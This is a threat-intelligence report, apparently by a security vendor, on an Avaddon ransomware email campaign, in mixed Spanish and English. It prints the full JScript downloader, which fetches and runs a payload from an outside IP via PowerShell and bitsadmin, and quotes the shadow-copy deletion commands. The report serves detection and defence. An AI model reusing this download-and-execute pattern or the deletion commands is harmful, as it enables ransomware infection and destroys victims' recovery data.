Debido a los términos técnicos utilizados, la evaluación del análisis se realizará en inglés.

Technical Analysis

In the following we will analyze the malicous email, the JScript downloader, and last but not least the downloaded Avaddon ransomware binary.

Emails

Emails are send from <name>[0-9]{2}@[0-9]{4}.com sender email addresses. Most of the four number dot com domains ([0-9]{4}.com) are parked domains without any SPF records, hence, blocking on policy grounds is not possible.

The malspam distributing Avaddon ransomware started on 2020-06-04 at around 14:00:00 UTC and are still lasting while writing this report:

Avaddon ransomware malspam wave timeline

The observed wave seems to target CA (Canada):

Avaddon ransomware wave recipient countries

The recipient industries seem to indicate a focus on education institutions at the receiving end of this wave:

Avaddon ransomware wave recipient industries

However, because this is only data from the first wave this should not be interpreted as the final targeting of the Avaddon ransomware.

JScript Downloader

The IMG000000.jpg.js.zip attachment contains the IMG000000.jpg.js JScript downloader:

Avaddon IMG000000.jpg.js JScript downloader

The Avaddon downloader script is simply:

var jsRun=new ActiveXObject('WSCRIPT.Shell');
jsRun.Run("cmd.exe /c PowerShell -ExecutionPolicy Bypass (New-Object System.Net.WebClient).DownloadFile('hxxp[:]//217.8.117[.]63/sava[.]exe','%temp%\\5203508738.exe');Start-Process '%temp%\\5203508738.exe'",false);
jsRun.Run("cmd.exe /c bitsadmin /transfer getitman /download /priority high hxxp[:]//217.8.117[.]63/sava[.]exe %temp%\\237502353.exe&start %temp%\\237502353.exe", false);

It uses both PowerShell and the BITSAdmin tool to download the sava.exe Avaddon ransomware file to %temp%\\5203508738.exe and %temp%\\237502353.exe respectively and execute it:

Avaddon ransomware downloader process tree

Avaddon Ransomware sava.exe

The Avaddon ransomware executable is not packed. However, its strings appear Base64 encoded using a custom alphabet. Imports are freely accessible. The Avaddon ransomware uses the Windows crypto API to generate an AES key, with which it then (presumably) encrypts the data. The generated AES key is then exported and encrypted via a previously from the ransomware binary imported key:

Avaddon ransomware generating AES key

Further the Avaddon ransomware deletes the volume shadow copies via wmic.exe SHADOWCOPY /nointeractive and vssadmin.exe Delete Shadows /All /Quiet.

After encryption the Avaddon ransomware changes the desktop background notifying the victim that files have been encrypted and where the instructions to pay the ransom are located:

Avaddon ransomware desktop background

The Avaddon ransomware leaves a file named [0-9]+-readme.html in every directory it encrypts. This file contains the instructions and an .onion link to the ransomware panel:

Avaddon ransomware ransom note

Victims are expected to copy their ransom ID to the linked .onion Tor hidden service website then received further instructions on how to pay the ransom and receive a decrypter.

Conclusión y corrección

Como se puede ver en este ejemplo, la colaboración clandestina en materia de malware puede acelerar la proliferación y distribución de nuevos programas de ransomware.

El servicio de Spam and Malware Protection de Hornetsecurity, con las tasas de detección más altas del mercado, bloquea la amenaza descrita. Además, el servicio Advanced Threat Protection de Hornetsecurity, amplía esta protección al detectar también amenazas aún desconocidas.

 

Referencias

Indicators of Compromise (IOCs)

Hashes

SHA256 Nombre del archivo Descripción
05af0cf40590aef24b28fa04c6b4998b7ab3b7f26e60c507adb84f3d837778f2 sava.exe Avaddon ransomware

URLs

  • hxxp[:]//217.8.117[.]63/sava[.]exe